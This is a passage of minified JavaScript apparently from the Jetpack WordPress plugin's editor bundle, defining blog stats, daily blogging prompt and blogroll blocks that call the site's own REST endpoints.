jetpack-ai-chat-question-button&quot;,onChange:e=&gt;t({askButtonLabel:e}),value:h,withoutInteractiveFormatting:!0,allowedFormats:[&quot;core/bold&quot;,&quot;core/italic&quot;,&quot;core/strikethrough&quot;]})]}),k&amp;&amp;(0,p.jsx)(r.Yj,{}),(0,p.jsx)(n.InspectorControls,{children:(0,p.jsx)(d.z,{askButtonLabel:h,placeholder:m,setAttributes:t,showCopy:g,showFeedback:f,showSources:b})})]})}},8393(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(1629),o=s(32908),a=s(41825);s(40320),s(18155);(0,r.M)(n,{edit:o.A,save:a.A})},41825(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(94715),n=s(50443),o=s(10790);function a({attributes:e}){const t=r.useBlockProps.save({&quot;data-ask-button-label&quot;:e.askButtonLabel||n.W});return(0,o.jsx)(&quot;div&quot;,{...t})}},97571(e,t,s){&quot;use strict&quot;;s.d(t,{z:()=&gt;a});var r=s(56427),n=s(27723),o=s(10790);const __=n.__;function a({attributes:e,setAttributes:t}){const{statsData:s,statsOption:n}=e,a=[{value:&quot;views&quot;,label:__(&quot;Views&quot;,&quot;jetpack&quot;)},{value:&quot;visitors&quot;,label:__(&quot;Visitors&quot;,&quot;jetpack&quot;)}],i=[{value:&quot;site&quot;,label:__(&quot;My whole site&quot;,&quot;jetpack&quot;)},{value:&quot;post&quot;,label:__(&quot;This individual post&quot;,&quot;jetpack&quot;)}];return(0,o.jsx)(o.Fragment,{children:(0,o.jsxs)(r.PanelBody,{title:__(&quot;Settings&quot;,&quot;jetpack&quot;),children:[(0,o.jsx)(r.RadioControl,{label:__(&quot;Views or visitors&quot;,&quot;jetpack&quot;),selected:s,onChange:e=&gt;t({statsData:e}),options:a,help:__(&quot;Views represent site visits, whereas visitors represent unique individuals.&quot;,&quot;jetpack&quot;)}),(0,o.jsx)(r.RadioControl,{label:__(&quot;Show stats data for&quot;,&quot;jetpack&quot;),selected:n,onChange:e=&gt;t({statsOption:e}),options:i,disabled:&quot;visitors&quot;===s,help:&quot;visitors&quot;===s?__(&quot;Visitor counts aren&#039;t available for individual posts.&quot;,&quot;jetpack&quot;):null}),(0,o.jsx)(&quot;span&quot;,{className:&quot;jetpack-blog-stats__delay-notice&quot;,children:__(&quot;Stats are delayed for up to 5 minutes.&quot;,&quot;jetpack&quot;)})]})})}},20201(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;m});var r=s(85985),n=s(54268),o=s(1455),a=s.n(o),i=s(94715),l=s(47143),c=s(86087),u=s(27723),d=s(97571),p=s(51744),h=s(10790);const __=u.__,_n=u._n;const m=function({attributes:e,className:t,setAttributes:s}){const{isLoadingModules:o,isChangingStatus:u,isModuleActive:m,changeStatus:g}=(0,r.q7)(&quot;stats&quot;),{label:f,statsData:b,statsOption:v}=e,[k,y]=(0,c.useState)(null),[x,j]=(0,c.useState)(),[w,_]=(0,c.useState)(),C=(0,i.useBlockProps)(),A=&quot;post&quot;===v?w:&quot;views&quot;===b?k:x,S=(0,l.useSelect)(e=&gt;e(&quot;core/editor&quot;).getCurrentPostId(),[]);if((0,c.useEffect)(()=&gt;{m&amp;&amp;a()({path:Number.isInteger(S)?`/wpcom/v2/blog-stats?post_id=${S}`:&quot;/wpcom/v2/blog-stats&quot;}).then(e=&gt;{y(e[&quot;blog-views&quot;]),j(e[&quot;blog-visitors&quot;]),_(Number.isInteger(S)?e[&quot;post-views&quot;]:&quot;12345&quot;)})},[S,m]),(0,c.useEffect)(()=&gt;{&quot;visitors&quot;===b&amp;&amp;s({statsOption:&quot;site&quot;})},[b,s]),!m&amp;&amp;!o)return(0,h.jsx)(p.k,{className:t,changeStatus:g,isLoading:u});const E=/* Translators: Number of visitors */
_n(&quot;visitor&quot;,&quot;visitors&quot;,parseInt(A),&quot;jetpack&quot;,0),N=/* Translators: Number of views */
_n(&quot;hit&quot;,&quot;hits&quot;,parseInt(A),&quot;jetpack&quot;,0);return(0,h.jsxs)(&quot;div&quot;,{...C,children:[(0,h.jsx)(i.InspectorControls,{children:(0,h.jsx)(d.z,{attributes:e,setAttributes:s})}),(0,h.jsx)(&quot;div&quot;,{className:t,children:o||null===k?(0,h.jsx)(&quot;p&quot;,{className:&quot;jetpack-blog-stats__loading&quot;,children:__(&quot;Loading stats…&quot;,&quot;jetpack&quot;)}):(0,h.jsxs)(&quot;p&quot;,{children:[(0,h.jsxs)(&quot;span&quot;,{children:[(0,n.ZV)(A),&quot; &quot;]}),(0,h.jsx)(i.RichText,{tagName:&quot;span&quot;,placeholder:&quot;visitors&quot;===b?E:N,value:f,allowedFormats:[&quot;core/bold&quot;,&quot;core/italic&quot;,&quot;core/link&quot;],onChange:e=&gt;s({label:e})})]})})]})}},95184(e,t,s){&quot;use strict&quot;;var r=s(74997),n=s(94375),o=s(35116),a=s(20201);s(8277);(0,n.M)(o,{edit:a.A,save:()=&gt;null,transforms:{from:[{type:&quot;block&quot;,blocks:[&quot;core/legacy-widget&quot;],isMatch:({idBase:e,instance:t})=&gt;!!t?.raw&amp;&amp;&quot;blog-stats&quot;===e,transform:({instance:e})=&gt;{const t=e.raw.title?(0,r.createBlock)(&quot;core/heading&quot;,{content:e.raw.title,level:3}):null,s=(0,r.createBlock)(&quot;jetpack/blog-stats&quot;,{label:e.raw.hits});return t?[t,s]:s}}]}})},51744(e,t,s){&quot;use strict&quot;;s.d(t,{k:()=&gt;c});var r=s(97999),n=s(85985),o=s(56427),a=s(27723),i=s(35116),l=s(10790);const __=a.__,c=({className:e,isLoading:t,changeStatus:s})=&gt;{const a=(0,r.isWoASite)()?&quot;https://wordpress.com/support/stats/&quot;:&quot;https://jetpack.com/support/jetpack-stats/&quot;;return(0,l.jsx)(&quot;div&quot;,{className:e,children:(0,l.jsxs)(o.Placeholder,{icon:(0,n.sh)(i),instructions:__(&quot;You&#039;ll need to activate the Stats module to use this block. Please note that hits are only counted while this module is active.&quot;,&quot;jetpack&quot;),label:i.title,children:[(0,l.jsx)(o.Button,{disabled:t,isBusy:t,onClick:()=&gt;s(!0),variant:&quot;secondary&quot;,children:t?__(&quot;Activating Stats&quot;,&quot;jetpack&quot;):__(&quot;Activate Stats&quot;,&quot;jetpack&quot;,0)}),(0,l.jsx)(&quot;div&quot;,{children:(0,l.jsx)(o.ExternalLink,{href:a,children:__(&quot;Learn more about the Stats module.&quot;,&quot;jetpack&quot;)})})]})})}},12169(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;g});var r=s(1455),n=s.n(r),o=s(94715),a=s(56427),i=s(47143),l=s(86087),c=s(27723),u=s(93832),d=s(13022),p=(s(11141),s(54919)),h=s(9075),m=s(10790);const __=c.__,_x=c._x;const g=(0,a.withNotices)(function({attributes:e,noticeOperations:t,noticeUI:s,setAttributes:r}){const g=(0,l.useRef)(!1),{answersLink:f,answersLinkText:b,gravatars:v,promptFetched:k,promptId:y,promptLabel:x,promptText:j,showLabel:w,showResponses:_,tagsAdded:C,isBloganuary:A}=e,S=(0,o.useBlockProps)({className:&quot;jetpack-blogging-prompt&quot;});(0,h.J)(y,C,e=&gt;r({tagsAdded:e}));const E=(0,i.useSelect)(e=&gt;{const{getEntityRecord:t,hasFinishedResolution:s}=e(&quot;core&quot;),r=t(&quot;root&quot;,&quot;site&quot;)?.language||&quot;en_US&quot;;return s(&quot;getEntityRecord&quot;,[&quot;root&quot;,&quot;site&quot;])?r:null},[]);(0,l.useEffect)(()=&gt;{if(!E||g.current||k)return;const e=()=&gt;{r({promptFetched:!1,promptId:null,tagsAdded:!1}),g.current=!1,t.removeAllNotices()};let s=&quot;/wpcom/v3/blogging-prompts&quot;;if(y)s+=&quot;/&quot;+encodeURIComponent(y);else{const e=new Date;s+=`?after=--${(e.getMonth()+1).toString().padStart(2,&quot;0&quot;)}-${e.getDate().toString().padStart(2,&quot;0&quot;)}&amp;order=desc`}s=(0,u.addQueryArgs)(s,{_locale:E,force_year:(new Date)?.getFullYear()}),g.current=!0,n()({path:s}).then(e=&gt;{const t=y?e:e[0],s=(0,p.i)(E);r({answersLink:t.answered_link+`?locale=${s}`,answersLinkText:t.answered_link_text,gravatars:t.answered_users_sample.map(({avatar:e})=&gt;({url:e})),promptFetched:!0,promptLabel:t.label,promptText:t.text,promptId:t.id,isBloganuary:!!t.bloganuary_id})}).catch(s=&gt;{r({promptFetched:!0});const n=&quot;rest_post_invalid_id&quot;===s.code&amp;&amp;y?(o=y,(0,m.jsxs)(m.Fragment,{children:[(0,c.sprintf)(/* translators: %d is the prompt id. */
__(&quot;Prompt with id %d not found.&quot;,&quot;jetpack&quot;),o),&quot; &quot;,(0,m.jsx)(a.Button,{variant:&quot;link&quot;,onClick:e,children:__(&quot;Reset prompt&quot;,&quot;jetpack&quot;)})]})):(t=&gt;(0,m.jsxs)(m.Fragment,{children:[(0,c.sprintf)(/* translators: %s is the error message. */
__(&quot;Error while fetching prompt: %s&quot;,&quot;jetpack&quot;),t),&quot; &quot;,(0,m.jsx)(a.Button,{variant:&quot;link&quot;,onClick:e,children:__(&quot;Retry&quot;,&quot;jetpack&quot;)})]}))(s.message);var o;t.removeAllNotices(),t.createErrorNotice(n)})},[g,t,k,y,r,E]);const N=e=&gt;{r({showLabel:e})},T=e=&gt;{r({showResponses:e})},B=(0,d.A)([&quot;jetpack-blogging-prompt__label&quot;],{&quot;is-bloganuary-icon&quot;:A});return(0,m.jsxs)(&quot;div&quot;,{...S,children:[s,(0,m.jsx)(m.Fragment,{children:(0,m.jsx)(o.InspectorControls,{children:(0,m.jsxs)(a.PanelBody,{title:_x(&quot;Settings&quot;,&quot;title of block settings sidebar section&quot;,&quot;jetpack&quot;),children:[(0,m.jsx)(a.ToggleControl,{label:__(&quot;Show prompt label&quot;,&quot;jetpack&quot;),checked:w,onChange:N,__nextHasNoMarginBottom:!0}),(0,m.jsx)(a.ToggleControl,{label:__(&quot;Show other responses&quot;,&quot;jetpack&quot;),checked:_,onChange:T,__nextHasNoMarginBottom:!0})]})})}),k?(0,m.jsxs)(m.Fragment,{children:[w&amp;&amp;(0,m.jsx)(&quot;div&quot;,{className:B,children:x}),(0,m.jsx)(&quot;div&quot;,{className:&quot;jetpack-blogging-prompt__text&quot;,children:j}),_&amp;&amp;y&amp;&amp;(0,m.jsxs)(&quot;div&quot;,{className:&quot;jetpack-blogging-prompt__answers&quot;,children:[v&amp;&amp;v.slice(0,3).map(({url:e})=&gt;e&amp;&amp;(0,m.jsx)(&quot;img&quot;,{className:&quot;jetpack-blogging-prompt__answers-gravatar&quot;,src:e},e)),(0,m.jsx)(&quot;a&quot;,{className:&quot;jetpack-blogging-prompt__answers-link&quot;,href:f,target:&quot;_blank&quot;,rel:&quot;external noreferrer noopener&quot;,children:b})]})]}):(0,m.jsx)(&quot;div&quot;,{className:&quot;jetpack-blogging-prompt__spinner&quot;,children:(0,m.jsx)(a.Spinner,{})})]})})},87888(e,t,s){&quot;use strict&quot;;var r=s(74997),n=s(47143),o=s(27723),a=s(94375),i=s(30552),l=s(32442),c=s(12169),u=s(63757),d=s(94530),p=s(86239),h=s(57028);s(11141),s(24625);const __=o.__,m=new URL(document.location.href),g=m.pathname.endsWith(&quot;/wp-admin/post-new.php&quot;),f=g?m.searchParams.get(&quot;answer_prompt&quot;)??&quot;0&quot;:&quot;0&quot;,b=parseInt(f),v={edit:c.A,save:h.A,example:{attributes:{answersLink:&quot;https://wordpress.com/tag/dailyprompt&quot;,answersLinkText:__(&quot;View all responses&quot;,&quot;jetpack&quot;),gravatars:[{url:u},{url:d},{url:p}],promptLabel:__(&quot;Daily writing prompt&quot;,&quot;jetpack&quot;),promptText:__(&quot;What&#039;s your favorite place to visit?&quot;,&quot;jetpack&quot;),promptFetched:!0,promptId:1234,showResponses:!0,showLabel:!0,tagsAdded:!0,isBloganuary:!1}}};b||(0,a.M)(l,v);async function k(e){await(0,i.O)();(0,r.getBlockType)(&quot;jetpack/blogging-prompt&quot;)||await new Promise(e=&gt;{(0,a.M)(l,v),setTimeout(e,0)});const{insertBlocks:t}=(0,n.dispatch)(&quot;core/block-editor&quot;);t([(0,r.createBlock)(&quot;jetpack/blogging-prompt&quot;,{promptFetched:!1,promptId:e,tagsAdded:!0}),(0,r.createBlock)(&quot;core/paragraph&quot;)],0,void 0,!1)}g&amp;&amp;b&amp;&amp;k(b)},57028(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(94715),n=s(13022),o=s(10790);const a=function({attributes:e}){const{answersLink:t,answersLinkText:s,gravatars:a,promptId:i,promptLabel:l,promptText:c,showLabel:u,showResponses:d,isBloganuary:p}=e,h=r.useBlockProps.save({className:&quot;jetpack-blogging-prompt&quot;}),m=(0,n.A)([&quot;jetpack-blogging-prompt__label&quot;],{&quot;is-bloganuary-icon&quot;:p});return(0,o.jsxs)(&quot;div&quot;,{...h,children:[u&amp;&amp;(0,o.jsx)(&quot;div&quot;,{className:m,children:l}),(0,o.jsx)(&quot;div&quot;,{className:&quot;jetpack-blogging-prompt__text&quot;,children:c}),d&amp;&amp;i&amp;&amp;(0,o.jsxs)(&quot;div&quot;,{className:&quot;jetpack-blogging-prompt__answers&quot;,children:[a.map(({url:e})=&gt;e&amp;&amp;(0,o.jsx)(&quot;img&quot;,{className:&quot;jetpack-blogging-prompt__answers-gravatar&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,src:e},e)),(0,o.jsx)(&quot;a&quot;,{className:&quot;jetpack-blogging-prompt__answers-link&quot;,href:t,target:&quot;_blank&quot;,rel:&quot;external noreferrer noopener&quot;,children:s})]})]})}},9075(e,t,s){&quot;use strict&quot;;s.d(t,{J:()=&gt;c});var r=s(1455),n=s.n(r),o=s(47143),a=s(86087),i=s(89877);function l(e){const t=(0,i.escapeHTML)(e);return n()({path:&quot;/wp/v2/tags&quot;,method:&quot;POST&quot;,data:{name:t}}).catch(t=&gt;&quot;term_exists&quot;!==t.code?Promise.reject(t):Promise.resolve({id:t.data.term_id,name:e}))}function c(e,t,s){const{editPost:r}=(0,o.useDispatch)(&quot;core/editor&quot;),n=(0,a.useRef)(&quot;not-started&quot;),{getEditedPostAttribute:i}=(0,o.useSelect)(e=&gt;e(&quot;core/editor&quot;),[]),c=(0,o.useSelect)(e=&gt;e(&quot;core/editor&quot;).getEditedPostAttribute(&quot;type&quot;),[]),u=(0,o.useSelect)(e=&gt;e(&quot;core/editor&quot;).getEditedPostAttribute(&quot;tags&quot;)||[],[]),d=(0,o.useSelect)(e=&gt;e(&quot;core&quot;).getPostType(&quot;post&quot;)?.taxonomies?.includes(&quot;post_tag&quot;),[]),p=(0,a.useMemo)(()=&gt;0===u.length?null:{_fields:&quot;id,name&quot;,context:&quot;view&quot;,include:u.join(&quot;,&quot;),per_page:-1},[u]),h=(0,o.useSelect)(e=&gt;0===u.length?[]:e(&quot;core&quot;).getEntityRecords(&quot;taxonomy&quot;,&quot;post_tag&quot;,p)||[],[p,u.length]),m=(0,o.useSelect)(e=&gt;0===u.length||e(&quot;core&quot;).hasFinishedResolution(&quot;getEntityRecords&quot;,[&quot;taxonomy&quot;,&quot;post_tag&quot;,p]),[p,u.length]);(0,a.useEffect)(()=&gt;{&quot;post&quot;===c&amp;&amp;d&amp;&amp;!t&amp;&amp;m&amp;&amp;e&amp;&amp;Array.isArray(h)&amp;&amp;(&quot;not-started&quot;===n.current&amp;&amp;(h.some(e=&gt;e.name&amp;&amp;&quot;dailyprompt&quot;===e.name)&amp;&amp;h.some(t=&gt;t.name&amp;&amp;t.name===`dailyprompt-${e}`)?n.current=&quot;fulfilled&quot;:(n.current=&quot;pending&quot;,Promise.all([l(&quot;dailyprompt&quot;),l(`dailyprompt-${e}`)]).then(e=&gt;{const t=e.map(e=&gt;e.id),s=i(&quot;tags&quot;)||[];r({tags:[...s,...t]}),n.current=&quot;fulfilled&quot;}).catch(e=&gt;{console.error(e),n.current=&quot;rejected&quot;}))),&quot;fulfilled&quot;===n.current&amp;&amp;s(!0))},[r,d,c,e,n,s,h,u,t,m,i])}},59914(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=[s(97766)]},67805(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={id:{type:&quot;string&quot;},name:{type:&quot;string&quot;},icon:{type:&quot;string&quot;,default:s(84954)},is_non_wpcom_site:{type:&quot;boolean&quot;,default:!1},url:{type:&quot;string&quot;},description:{type:&quot;string&quot;}}},97766(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{attributes:()=&gt;o.A,save:()=&gt;i,supports:()=&gt;a.A});var r=s(94715),n=s(10790),o=s(67805),a=s(13896);const i=()=&gt;(0,n.jsx)(r.InnerBlocks.Content,{})},13896(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={align:!1,alignWide:!0,anchor:!1,customClassName:!0,className:!0,html:!1,multiple:!0,reusable:!0,inserter:!1}},53808(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(94715),n=s(56427),o=(s(16348),s(27723)),a=s(10790);const __=o.__;const i=function({className:e,attributes:t,setAttributes:s}){const{icon:o,name:i,description:l}=t,c=(0,r.useBlockProps)({className:e});return(0,a.jsxs)(a.Fragment,{children:[(0,a.jsx)(&quot;hr&quot;,{className:&quot;wp-block-separator jetpack-blogroll-item-divider&quot;}),(0,a.jsxs)(&quot;div&quot;,{...c,children:[(0,a.jsx)(r.MediaUpload,{multiple:!1,onSelect:e=&gt;{s({icon:e.url})},render:({open:e})=&gt;(0,a.jsx)(n.Button,{variant:&quot;link&quot;,onClick:e,style:{padding:0},children:(0,a.jsx)(&quot;figure&quot;,{children:(0,a.jsx)(&quot;img&quot;,{className:&quot;blogroll-item-image&quot;,onError:e=&gt;{e.target.parentNode.classList.add(&quot;empty-site-icon&quot;)},src:o,alt:i})})})}),(0,a.jsxs)(&quot;div&quot;,{className:&quot;jetpack-blogroll-item-content&quot;,children:[(0,a.jsx)(&quot;a&quot;,{children:(0,a.jsx)(r.RichText,{className:&quot;jetpack-blogroll-item-title&quot;,value:i,tagName:&quot;p&quot;,allowedFormats:[&quot;core/italic&quot;],onChange:e=&gt;{s({name:e})},placeholder:__(&quot;Enter site title&quot;,&quot;jetpack&quot;)})}),(0,a.jsx)(r.RichText,{className:&quot;jetpack-blogroll-item-description&quot;,value:l,onChange:e=&gt;{s({description:e})},placeholder:__(&quot;Enter site description&quot;,&quot;jetpack&quot;)})]})]})]})}},3686(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(56427),n=s(10790);const o=(0,n.jsxs)(r.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,fill:&quot;none&quot;,children:[(0,n.jsx)(r.Path,{d:&quot;M12 12.75H21V11.25H12V12.75Z&quot;}),(0,n.jsx)(r.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M3 12C3 10.3431 4.34315 9 6 9C7.65685 9 9 10.3431 9 12C9 13.6569 7.65685 15 6 15C4.34315 15 3 13.6569 3 12ZM3.77743 10.8857C4.08602 10.2714 4.64181 9.80266 5.31427 9.61008C5.15499 9.79493 5.01798 10.0132 4.90612 10.2532C4.81521 10.4483 4.73949 10.6605 4.68112 10.8857H3.77743ZM3.58718 11.4C3.53956 11.5922 3.51429 11.7931 3.51429 12C3.51429 12.2069 3.53956 12.4078 3.58718 12.6H4.58166C4.55616 12.4057 4.54286 12.205 4.54286 12C4.54286 11.7949 4.55616 11.5942 4.58166 11.4H3.58718ZM5.10094 11.4C5.0724 11.5917 5.05714 11.7926 5.05714 12C5.05714 12.2074 5.0724 12.4083 5.10094 12.6H6.89907C6.92761 12.4083 6.94286 12.2074 6.94286 12C6.94286 11.7926 6.92761 11.5917 6.89906 11.4H5.10094ZM7.41834 11.4C7.44384 11.5942 7.45714 11.7949 7.45714 12C7.45714 12.2051 7.44384 12.4058 7.41835 12.6H8.41282C8.46044 12.4078 8.48571 12.2069 8.48571 12C8.48571 11.7931 8.46044 11.5922 8.41282 11.4H7.41834ZM8.22257 10.8857H7.31888C7.26051 10.6605 7.18479 10.4483 7.09388 10.2532C6.98202 10.0132 6.845 9.79493 6.68571 9.61007C7.35817 9.80265 7.91398 10.2714 8.22257 10.8857ZM6.78494 10.8857H5.21506C5.25946 10.7382 5.31227 10.5992 5.37226 10.4705C5.5421 10.1061 5.76275 9.83732 5.99999 9.67974C6.23724 9.83732 6.45789 10.1061 6.62775 10.4705C6.68773 10.5992 6.74054 10.7382 6.78494 10.8857ZM3.77743 13.1143H4.68112C4.74269 13.3519 4.82356 13.5749 4.92121 13.7787C5.0301 14.0059 5.16199 14.2132 5.31431 14.3899C4.64184 14.1974 4.08603 13.7286 3.77743 13.1143ZM6.78495 13.1143H5.21506C5.26258 13.2722 5.31973 13.4203 5.38498 13.5564C5.5534 13.9078 5.76894 14.1668 6.00003 14.3203C6.23726 14.1627 6.45791 13.8939 6.62775 13.5295C6.68773 13.4008 6.74054 13.2618 6.78495 13.1143ZM7.09388 13.7468C7.18479 13.5517 7.26052 13.3395 7.31889 13.1143H8.22257C7.91398 13.7286 7.35819 14.1973 6.68574 14.3899C6.84501 14.2051 6.98203 13.9868 7.09388 13.7468Z&quot;,strokeWidth:&quot;0.1&quot;})]})},77782(e,t,s){&quot;use strict&quot;;s.d(t,{UU:()=&gt;u,W0:()=&gt;d});var r=s(94715),n=s(27723),o=s(84954),a=s(59914),i=s(53808),l=s(3686),c=(s(16348),s(10790));const __=n.__,u=&quot;blogroll-item&quot;,d={apiVersion:3,title:__(&quot;Blogroll Item&quot;,&quot;jetpack&quot;),description:__(&quot;Blogroll Item&quot;,&quot;jetpack&quot;),icon:{src:l.A},category:&quot;grow&quot;,parent:[&quot;jetpack/blogroll&quot;],keywords:[],supports:{align:!1,alignWide:!0,anchor:!1,customClassName:!0,className:!0,html:!1,multiple:!0,reusable:!0,inserter:!1},edit:i.A,attributes:{id:{type:&quot;string&quot;},name:{type:&quot;string&quot;},icon:{type:&quot;string&quot;,default:o},is_non_wpcom_site:{type:&quot;boolean&quot;,default:!1},url:{type:&quot;string&quot;},description:{type:&quot;string&quot;}},save:()=&gt;{const e=r.useBlockProps.save();return(0,c.jsx)(&quot;div&quot;,{...e,children:(0,c.jsx)(r.InnerBlocks.Content,{})})},example:{attributes:{}},deprecated:a.A}},40536(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(3582),n=s(27723),o=(s(88627),s(10790));const __=n.__;function a({results:e,onSelect:t,searchInput:s,isLoading:a}){const[i]=(0,r.useEntityProp)(&quot;root&quot;,&quot;site&quot;,&quot;Blogroll Recommendations&quot;);if(a)return(0,o.jsx)(&quot;div&quot;,{className:&quot;jetpack-blogroll__appender-results&quot;,children:(0,o.jsx)(&quot;div&quot;,{role:&quot;status&quot;,children:__(&quot;Loading…&quot;,&quot;jetpack&quot;)})});const l=!s?.trim();return(0,o.jsxs)(&quot;div&quot;,{className:&quot;jetpack-blogroll__appender-results&quot;,children:[l&amp;&amp;(0,o.jsx)(&quot;div&quot;,{&quot;aria-autocomplete&quot;:&quot;list&quot;,className:&quot;jetpack-blogroll__appender-result-list-header-text&quot;,children:__(&quot;Suggestions&quot;,&quot;jetpack&quot;)}),0===e.length&amp;&amp;!l&amp;&amp;(0,o.jsxs)(&quot;div&quot;,{role:&quot;status&quot;,className:&quot;jetpack-blogroll__appender-no-results-message&quot;,children:[(0,o.jsx)(&quot;span&quot;,{className:&quot;jetpack-blogroll__appender-no-results-message-main-text&quot;,children:__(&quot;No results&quot;,&quot;jetpack&quot;)}),(0,o.jsx)(&quot;span&quot;,{className:&quot;jetpack-blogroll__appender-no-results-message-secondary-text&quot;,children:(0,n.sprintf)(/* translators: %s is search query. */
__(&quot;No sites found for %s.&quot;,&quot;jetpack&quot;),s)})]}),e.length&gt;0&amp;&amp;(0,o.jsx)(&quot;ul&quot;,{&quot;aria-live&quot;:&quot;polite&quot;,children:e.map((e,s)=&gt;{const r=i?.some?.(t=&gt;t?.id===e?.blog_id)||!1;return(0,o.jsx)(&quot;li&quot;,{className:&quot;jetpack-blogroll__appender-result-container&quot;,children:(0,o.jsxs)(&quot;button&quot;,{className:&quot;jetpack-blogroll__appender-result-title&quot;,disabled:r,onClick:()=&gt;t(e),children:[(0,o.jsx)(&quot;div&quot;,{className:&quot;jetpack-blogroll__appender-result-image&quot;,children:e.site_icon&amp;&amp;(0,o.jsx)(&quot;img&quot;,{src:e.site_icon,alt:e.name,onError:e=&gt;{e.target.parentNode.classList.add(&quot;empty-site-icon&quot;)}})}),(0,o.jsxs)(&quot;div&quot;,{className:&quot;jetpack-blogroll__appender-result-text&quot;,children:[(0,o.jsx)(&quot;span&quot;,{className:&quot;jetpack-blogroll__appender-result-title&quot;,children:e.name}),(0,o.jsx)(&quot;span&quot;,{className:&quot;jetpack-blogroll__appender-result-description&quot;,children:e.description})]})]})},`${e.blog_id}-${s}`)})})]})}},17454(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(56427),n=s(27723),o=(s(34566),s(10790));const __=n.__;function a({value:e,onChange:t}){return(0,o.jsx)(&quot;div&quot;,{className:&quot;jetpack-blogroll__appender-search&quot;,children:(0,o.jsx)(r.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Search for sites to add&quot;,&quot;jetpack&quot;),hideLabelFromVision:!0,placeholder:__(&quot;Search…&quot;,&quot;jetpack&quot;),value:e,onChange:e=&gt;t(e)})})}},37127(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;h});var r=s(56427),n=s(47143),o=s(86087),a=s(27723),i=s(60167),l=s(92507),c=s(85101),u=s(40536),d=s(17454),p=(s(32991),s(10790));const __=a.__;function h({isLoading:e,subscriptions:t,clientId:s}){const[a,h]=(0,o.useState)(!1),[m,g]=(0,o.useState)(),[f,b]=(0,o.useState)(&quot;&quot;),{insertBlock:v}=(0,n.dispatch)(&quot;core/block-editor&quot;),{siteDetails:k,isLoading:y}=(0,l.A)({siteURL:f,subscriptions:t,enabled:f});return e?(0,p.jsx)(r.Spinner,{className:&quot;jetpack-blogroll__appender-spinner&quot;}):(0,p.jsxs)(p.Fragment,{children:[(0,p.jsx)(r.Button,{className:&quot;block-editor-button-blogroll-block-appender&quot;,ref:g,icon:i.A,label:__(&quot;Add Blogroll Item&quot;,&quot;jetpack&quot;),onClick:()=&gt;{h(e=&gt;!e)}}),a&amp;&amp;(0,p.jsxs)(r.Popover,{anchor:m,className:&quot;jetpack-blogroll__appender&quot;,children:[(0,p.jsx)(d.A,{value:f,onChange:b}),(0,p.jsx)(u.A,{results:k,onSelect:e=&gt;{v((0,c.FN)(e),void 0,s),h(!1)},searchInput:f,isLoading:y})]})]})}},63166(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;v});var r=s(94715),n=s(74997),o=s(56427),a=s(47143),i=s(86087),l=s(27723),c=s(13022),u=s(2274),d=s(26247),p=s(37127),h=s(32130),m=s(46542),g=s(25688),f=s(85101),b=(s(93386),s(10790));const __=l.__;const v=function({className:e,attributes:t,setAttributes:s,clientId:l}){const{show_avatar:v,show_description:k,open_links_new_window:y,ignore_user_blogs:x,load_placeholders:j}=t,w=(0,d.A)(),{isLoading:_,recommendations:C,errorMessage:A}=(0,h.A)(j),{isLoading:S,subscriptions:E,errorMessage:N}=(0,g.A)({ignore_user_blogs:x});(0,m.b)({clientId:l});const{replaceInnerBlocks:T}=(0,a.dispatch)(&quot;core/block-editor&quot;);(0,i.useEffect)(()=&gt;{if(j&amp;&amp;C.length){s({load_placeholders:!1});const e=[(0,n.createBlock)(&quot;core/heading&quot;,{content:__(&quot;Blogroll&quot;,&quot;jetpack&quot;),level:3}),...C.map(f.dy)];T(l,e)}},[C,j,s,l,T]);const B=(0,r.useBlockProps)({className:(0,c.A)(e,{&quot;hide-avatar&quot;:!v,&quot;hide-description&quot;:!k})});if(!w)return(0,b.jsx)(b.Fragment,{children:(0,b.jsx)(u.A,{block:&quot;Blogroll&quot;,explanation:__(&quot;Connect your WordPress.com account to use the Blogroll block.&quot;,&quot;jetpack&quot;)})});const P=A||N;return(0,b.jsxs)(&quot;div&quot;,{...B,children:[(0,b.jsx)(r.InnerBlocks,{template:[[&quot;core/heading&quot;,{content:__(&quot;Blogroll&quot;,&quot;jetpack&quot;),level:3}]],allowedBlocks:[&quot;jetpack/blogroll-item&quot;],renderAppender:()=&gt;!_&amp;&amp;(0,b.jsx)(p.A,{isLoading:S,subscriptions:E,clientId:l})}),P&amp;&amp;(0,b.jsx)(o.Notice,{status:&quot;error&quot;,isDismissible:!1,children:(0,b.jsx)(&quot;p&quot;,{children:P})}),j&amp;&amp;_&amp;&amp;(0,b.jsx)(o.FlexBlock,{style:{padding:&quot;30px&quot;,textAlign:&quot;center&quot;},children:(0,b.jsx)(o.Spinner,{})}),(0,b.jsx)(r.InspectorControls,{children:(0,b.jsxs)(o.PanelBody,{title:__(&quot;Settings&quot;,&quot;jetpack&quot;),children:[(0,b.jsx)(o.ToggleControl,{label:__(&quot;Show avatar&quot;,&quot;jetpack&quot;),checked:!!v,onChange:()=&gt;s({show_avatar:!v}),__nextHasNoMarginBottom:!0}),(0,b.jsx)(o.ToggleControl,{label:__(&quot;Show description&quot;,&quot;jetpack&quot;),checked:!!k,onChange:()=&gt;s({show_description:!k}),__nextHasNoMarginBottom:!0}),(0,b.jsx)(o.ToggleControl,{label:__(&quot;Open links in a new 